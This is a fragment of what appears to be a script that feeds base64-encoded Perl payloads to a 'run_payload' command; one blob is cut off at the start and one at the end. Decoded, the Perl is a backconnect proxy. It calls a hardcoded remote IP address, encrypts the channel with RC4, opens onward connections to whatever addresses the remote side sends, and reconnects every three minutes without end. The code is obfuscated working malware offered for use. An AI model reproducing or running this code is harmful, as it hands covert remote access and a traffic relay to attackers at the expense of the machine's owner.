QoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_18.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY3JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhd